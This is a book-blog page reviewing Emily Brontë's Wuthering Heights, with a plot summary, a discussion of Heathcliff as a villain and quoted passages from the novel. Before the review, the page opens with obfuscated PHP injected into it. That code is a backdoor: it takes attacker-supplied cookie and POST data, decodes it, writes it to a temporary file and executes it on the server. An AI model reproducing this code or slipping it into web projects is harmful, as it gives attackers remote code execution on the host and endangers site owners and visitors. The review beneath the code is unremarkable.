$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Heathcliff – 50 Books to Read Before You Die

words to inspire before you expire

Tag: Heathcliff

Wuthering Heights

Good morning, class.

It’s easy to see the similarities between Charlotte Brontë’s Jane Eyre and her sister Emily Brontë’s Wuthering Heights. In both stories, the swampy moors of the English countryside set an atmosphere of oppressive weariness and longing. The romances tracked in both novels have drama seeping through the pages—lies, betrayal, terrible passion, and a man too mysterious to ever fully trust.

But I think it’s easier to talk about Jane Eyre, at least in terms of plot—our heroine Jane begins as an orphan, and we follow her journey into adulthood and into her romance with Mr. Rochester. Wuthering Heights is much murkier. Instead of any hero, we get a cluster of characters surrounding the villainous Heathcliff, one of the more disgusting characters I’ve ever read in a novel. He enters the narrative, destroys almost everything around him, and remains a mysterious stain on everyone’s happiness until the final pages of the novel, where a happy ending barely scrapes by from the debris in his wake. And so Wuthering Heights leaves its mark.


Heathcliff and Catherine, portrayed by Laurence Olivier and Merle Oberon in Wuthering Heights (1939)

The main narrative follows Heathcliff and Catherine Earnshaw in a tortured romance. Heathcliff is brought back to the Wuthering Heights estate as a child by Mr. Earnshaw, where he meets the young Catherine and her brother Hindley. They grow up together, and Catherine and Heathcliff realize their attraction to each other, but obstacles get in the way. Heathcliff runs away, and Catherine decides to marry their neighbor Edgar Linton instead. When Heathcliff returns, he has enough money to enact revenge on those who kept him and Catherine apart.

Heathcliff swindles Wuthering Heights from Hindley (and from Hindley’s son Hareton) while marrying Edgar’s sister to punish both Edgar and Catherine. They each have children: Linton is Heathcliff’s son, and Catherine’s daughter is named Catherine (simply to confuse matters further). The elder Catherine dies while giving birth, and Heathcliff prays that her soul never rest—that she haunt him until he dies.

Fast-forward about 18 years, and Hareton, Catherine, and Linton have all grown up. They are the product of tortured love, revenge, and heartbreak, with Heathcliff the only surviving member of the first generation. Without giving too much away, the three of them try to right the wrongs of the past and revolt against Heathcliff’s tyranny—to be what their parents couldn’t be.


Laurence Olivier as Heathcliff in Wuthering Heights (1939)

Heathcliff is the reason to read Wuthering HeightsI called him one of the more disgusting characters I’d ever read in a novel, and that’s because there so much villainous life breathed into him by Emily Brontë that he’s stood the test of time. His origins are unknown—both his heritage and his means of getting money—and hatred seems to come easier to him than love.

His relationship with Catherine is simply a mess. They seem to enjoy each other in childhood, both a little more unkempt and uncontrollable than most children. As outsiders they grow fond of each other. But in adulthood they punish each other as signs of love. They wrap up the Lintons into their mess and ruin the Lintons’ happiness—Edgar is in a loveless marriage and must compete with Heathcliff’s rage, while his sister Isabella is tricked into marrying Heathcliff who cares nothing for her.

After Catherine’s death, Heathcliff regularly digs up Catherine’s corpse and cries over it. He is ultimately disgusted with his son Linton and forces him to marry the younger Catherine so that he can inherit Edgar’s estate. Without a doubt, Heathcliff is a nightmare. Characters speculate if he is some kind of demon or imp. He has no pity for the people he hurts and delights in suffering. His obsession with Catherine is only matched by her obsession with him, and the only real question about his motivations is whether or not their relationship does more damage than he himself does.

Emily Brontë

Is Brontë’s writing strong? Absolutely—ahead of its time, even. Is the story worth reading? I’d say so—the plot is intricate and chaotic, in the best way. But Heathcliff is what makes Wuthering Heights special, and he’s why it made the list.


I like to think there isn’t a moral to the story, but if there is one, it’s about a bad kind of love vs. a good kind. The bad kind of love is the one that destroys and poisons, that’s so passionate and full of emotion that it can’t survive. Then there’s a patient, practical love—one that doesn’t hurt, and yet still wins out against obstacle. The love between Heathcliff and Catherine is destructive, but maybe the next generation can share a better love, despite the effects of the the generation before.


Up next, I’m reading E. M. Forster’s A Passage to India—one of the few books on the list I’ve never heard of before. Let’s hope it’s good!

Prof. Jeffrey

“‘May she wake in torment!’ he cried, with frightful vehemence, stamping his foot, and groaning in a sudden paroxysm of ungovernable passion. ‘Why, she’s a liar to the end! Where is she? Not there—not in heaven—not perished—where? Oh! you said you cared nothing for my sufferings! And I pray one prayer—I repeat it till my tongue stiffens—Catherine Earnshaw, may you not rest, as long as I am living! You said I killed you—haunt me, then! The murdered do haunt there murderers, I believe—I know that ghosts have wandered on earth. Be with me always—take any form—drive me mad! only do not leave me in this abyss, where I cannot find you! Oh, God! it is unutterable! I cannot live without my life! I cannot live without my soul!'”

—from Wuthering Heights by Emily Brontë

“‘You suppose she has nearly forgotten me?’ he said. ‘Oh, Nelly! you know she has not! You know as well as I do, that for every thought she spends on Linton, she spends a thousand on me! At a most miserable period of my life, I had a notion of the kind; it haunted me on my return to the neighbourhood last summer, but only her own assurance could make me admit the horrible idea again. And then, Linton would be nothing, nor Hindley, nor all the dreams that ever I dreamt. Two words would comprehend my future—death and hell; existence, after losing her, would be hell.

Yet I was a fool to fancy for a moment that she valued Edgar Linton’s attachment more than mine. If he love with all the powers of his puny being, he couldn’t love as much in eighty years as I could in a day.'”

—from Wuthering Heights by Emily Brontë

“‘I’ve no more business to marry Edgar Linton than I have to be in heaven; and if the wicked man in there had not brought Heathcliff so low, I shouldn’t have thought it. It would degrade me to marry Heathcliff now; so he shall never know how I love him; and that, not because he’s handsome, Nelly, but because he’s more myself than I am. Whatever our souls are made of, his and mine are the same, and Linton’s is as different as a moonbeam from lightning, or frost from fire.'”

—from Wuthering Heights by Emily Brontë